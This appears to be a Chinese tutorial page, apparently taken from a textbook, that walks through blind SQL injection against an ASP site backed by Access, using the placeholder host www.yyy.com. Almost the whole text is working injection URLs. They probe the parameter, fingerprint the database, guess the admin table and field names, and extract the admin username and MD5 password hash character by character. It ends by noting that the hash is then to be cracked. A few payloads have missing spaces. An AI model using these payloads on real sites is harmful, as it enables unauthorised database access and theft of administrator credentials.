注入攻击Access数据库示例――简介
ACCESS数据库即Microsoft Office Access。Microsoft Office Access是由微软发布的关联式数据库管理系统。它结合了 Microsoft Jet Database Engine 和图形用户界面两项特点,是 Microsoft Office 的系统程式之一。
注入攻击Access数据库示例――工具/原料Microsoft Office Access
注入攻击Access数据库示例――方法/步骤注入攻击Access数据库示例 1、
第1步:加单引号。
如图6.18所示,在浏览器地址栏中http://www.yyy.com/productDetail_c.asp?ID=568后面加一个单引号,按Enter键后,服务器返回错误提示。
注入攻击Access数据库示例 2、
第2步:测试“and 1=1”。如图6.19所示,在浏览器地址栏中http://www.yyy.com/productDetail_c.asp?ID=568后面加“and 1=1”,按Enter键后,服务器返回正常页面。
注入攻击Access数据库示例 3、
第3步:测试“and 1=2”。
如图6.20所示,在浏览器地址栏中http://www.yyy.com/productDetail_c.asp?ID=568后面加“and 1=2”,按Enter键后,服务器返回异常页面。
注入攻击Access数据库示例 4、
第4步:判断数据库类型。
Access和SQL Server都有自己的系统表,比如存放数据库中所有对象的表:Access是在系统表“msysobjects”中,但在Web环境下读该表会提示“没有权限”;SQLServer是在表“sysobjects”中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
http://www.yyy.com/productDetail_c.asp?ID=568 and(select count(*) from sysobjects)>0
如果数据库是Access,由于找不到表sysobjects,服务器返回如图6.21所示的错误提示。
注入攻击Access数据库示例_access数据库实例
注入攻击Access数据库示例 5、
使用下面的语句:
http://www.yyy.com/productDetail_c.asp?ID=568 and(select count(*) from msysobjects)>0
如果是Access数据库,服务器会返回错误提示“在'msysobjects'上没有读取数据权限。”,如图6.22所示,如果Web程序有容错能力,那么服务器返回的页面也会与原页面不同。
由上可以判断数据库用的是Access。
第5步:猜测表名。猜测表名时也可以使用如下形式:
http://www.yyy.com/productDetail_c.asp?ID=568 and(select count(*) from admin)>=0
http://www.yyy.com/productDetail_c.asp?ID=568and exists(select * from admin)是向数据库查询是否存在admin表,如果存在则返回正常页面,不存在会返回错误提示,如此循环,直至猜测到表名为止。
返回正常页面时,猜测到管理员表是admin。
第6步:猜测字段名(用户名和密码字段)。表名猜出来后,将count(*)替换成count(字段名),用同样的原理猜解字段名。
首先猜测用户名字段:
www.yyy.com/productDetail_c.asp?ID=568 and (selectcount(username) from admin)>=0
www.yyy.com/productDetail_c.asp?ID=568 andexists(select username from admin)返回正常页面,用户名字段猜测成功,用户名字段名是“username”。
然后猜测密码字段:
www.yyy.com/productDetail_c.asp?ID=568 and (selectcount(password) from admin)>=0
www.yyy.com/productDetail_c.asp?ID=568 andexists(select password from admin)返回正常页面,则密码字段猜测成功,密码字段名是“password”。
第7步:猜测用户名。已知表admin中存在username字段,下面使用ASCII逐字解码法猜测用户名。
猜测用户名的长度:
www.yyy.com/productDetail_c.asp?ID=568 and(select top 1 len(username) from admin)>4返回正常页面;www.yyy.com/productDetail_c.asp?ID=568 and (select top 1len(username) from admin)>5返回不正常页面,可知用户名长度是5。
在得到用户名长度后,用asc (mid (username, N, 1))获得第N位字符的ASCII码,比如:
(1)猜测第1个字符。
从ID=568 and(select top 1 asc (mid (username, 1, 1)) from admin)>0到ID=568 and (select top 1 asc (mid(username, 1, 1)) from admin)>96显示正常,而ID=568 and (select top 1 asc (mid (username, 1, 1)) from admin)>97显示不正常,得第1个字符是“a”(查ASCII码字符表,字符a的十进制编码是97)。
(2)猜测第2个字符。
从ID=568 and(select top 1 asc (mid (username, 2, 1)) from admin)>0到ID=568 and (select top 1 asc (mid(username, 2, 1)) from admin)>99显示正常,而ID=568 and (select top 1 asc (mid (username, 2, 1)) from admin)>100显示不正常,得第2个字符是“d”(查ASCII码字符表,字符d的十进制编码是100)。
(3)猜测第3个字符。
(4)猜测第4个字符。
(5)猜测第5个字符。
最终得到用户名是“admin”。
第8步:猜测用户密码。已知表admin中存在password字段,下面猜测用户admin的密码。
猜测密码的长度:
www.yyy.com/productDetail_c.asp?ID=568 and(select top 1 len(password) from admin)>15返回正常页面,www.yyy.com/productDetail_c.asp?ID=568 and (select top 1 len(password)from admin)>16返回不正常页面,可知用户admin的密码长度是16(md5加密后的)。
在得到用户admin的密码长度后,就可以用asc (mid (password, N, 1))获得第N位字符的ASCII码,比如:
(1)猜测第1个字符。
从ID=568 and(select top 1 asc (mid (password, 1, 1)) from admin)>0到ID=568 and (select top 1 asc (mid (password,1, 1)) from admin)>56显示正常,而ID=568 and (select top 1 asc (mid (password, 1, 1)) from admin)>57显示不正常,得第1个字符是“9”(查ASCII码字符表,字符9的十进制编码是57)。
(2)猜测第2个字符。
从ID=568 and(select top 1 asc (mid (password, 2, 1)) from admin)>0到ID=568 and (select top 1 asc (mid (password,2, 1)) from admin)>56显示正常,而ID=568 and (select top 1 asc (mid (password, 2, 1)) from admin)>57显示不正常,得第2个字符是“9”(查ASCII码字符表,字符9的十进制编码是57)。
(3)猜测第3个字符。
(4)猜测第4个字符。
(5)猜测第5个字符。
(6)猜测第6个字符。
(7)猜测第7个字符。
(8)猜测第8个字符。
(9)猜测第9个字符。
(10)猜测第10个字符。
(11)猜测第11个字符。
(12)猜测第12个字符。
(13)猜测第13个字符。
(14)猜测第14个字符。
(15)猜测第15个字符。
(16)猜测第16个字符。
最终得到md5密码是“993a366f61fd519a”,然后要对密码进行破解。
注意:猜解Access时只能用ASCII逐字解码法,SQL Server也可以用这种方法,但是如果能用MS SQL Server的报错信息把相关信息暴露出来,会极大地提高效率和准确率。